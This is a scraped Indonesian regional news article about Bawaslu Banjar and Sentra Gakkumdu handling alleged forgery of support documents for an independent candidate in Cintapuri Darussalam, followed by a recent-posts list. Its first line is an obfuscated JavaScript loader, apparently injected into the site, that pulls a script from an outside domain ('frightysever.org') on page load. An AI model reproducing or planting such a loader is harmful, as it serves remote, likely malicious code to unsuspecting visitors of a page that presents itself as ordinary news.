(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Dugaan Pidana Pemalsuan Dukungan di Cintapuri Dibawa ke Sentra Gakkumdu Banjar


KANALKALIMANTAN.COM, MARTAPURA – Bawaslu Banjar bersama Polres Banjar dan Kejari Martapura yang tergabung dalam Sentra Penegakan Hukum Terpadu (Sentra Gakkumdu) menggelar rapat menindaklanjuti dugaan tindak pidana pemalsuan pencatutan nama dalam dokumen dukungan pasangan calon persorangan di Kecamatan Cintapuri Darussalam.

Hal ini disampikan Ketua Bawaslu Banjar Fajeri Tamjidillah kepada Kanalkalimantan.com, usai menggelar rapat tertutup pada Jumat (17/7/2020).

“Menindaklanjuti temuan pencatutan nama di Cintapuri saat ini kami lakukan proses di Sentra Gakumdu. Ini membahas tindak lanjut dan kajian hukum yang nantinya dalam proses di Gakkumdu akan menjawab apakah diteruskan atau tidak ke proses pidana pemilu,” katanya.

Ketua Bawaslu Kabupaten Banjar Fajeri Tamjidillah. Foto : Putera

 

Baca juga :

Fajeri mengatakan, laporan yang disampaikan oleh masyarakat ke KPU Banjar beberapa waktu lalu akan menjadi informasi awal bagi pihaknya. Setelah itu, Bawaslu bersama Panwascam dan PPKD (Panitia Pengawas Kelurahan dan Desa) setempat akan melakukan penelusuran langsung ke lapangan.

“Menurut kajian kami ada dugaan pelanggaran tindak pidana pemalsuan data dan pencatutan nama di KTP untuk dukungan” tegasnya.

Ia mengatakan, setelah proses penanganan di Gakkumdu, sesegeranya akan dilakukan klarifikasi atas temuan tersebut. Klarifikasi ini akan diminta dari berbagai pihak. Mulai dari masyarakat yang keberatan dalam pemalsuan dukungan, juga dari Polsek setempat.

Baca juga :

“Kawan kawan KPU Banjar juga akan diklarifikasi, karena bukti dukungan yang dimaksud ada di B.1-KWK yang ada di KPU Kabupaten Banjar. Dan tentunya pihak Paslon (pasangan calon) yang berkaitan juga akan diklarifikasi,” terangnya.

Tahapan proses klarifikasi ini akan dilaksanakan terhitung selama 5 hari. Maka diharapkan peran aktif dan kooperatif pihak yang diklarifikasi. “Dari hasil klarifikasi nanti apakah proses hukumnya akan dilanjut, kita tunggu keputusan rapat,” tambah Fajeri.

Sementar terkait dugaan pemalsuan bukti dukungan ini, Kordinator Divisi Penanganan Pelanggaran Bawaslu Banjar Muhammad Syahrial Fitri menambahkan, delik pidananya sudah di atur dalam UU Nomor 8 Tahun 2015 pada Pasal 184, Pasal 185, UU No 10 Tahun 2016 Pasal 185 A.

Ia mengharap peran aktif masyarakat dalam mengamati dan melaporkan jika didapat ada dugaan pelanggaran dalam tahapan dan pelaksanaan Pilkada 2020 di Kabupaten Banjar. (Kanalkalimantan.com/putra).

 

Reporter : Putra
Editor : Cell

Desy Arfianty

Recent Posts

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

1 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

16 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

17 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

18 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

19 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

19 jam ago

This website uses cookies.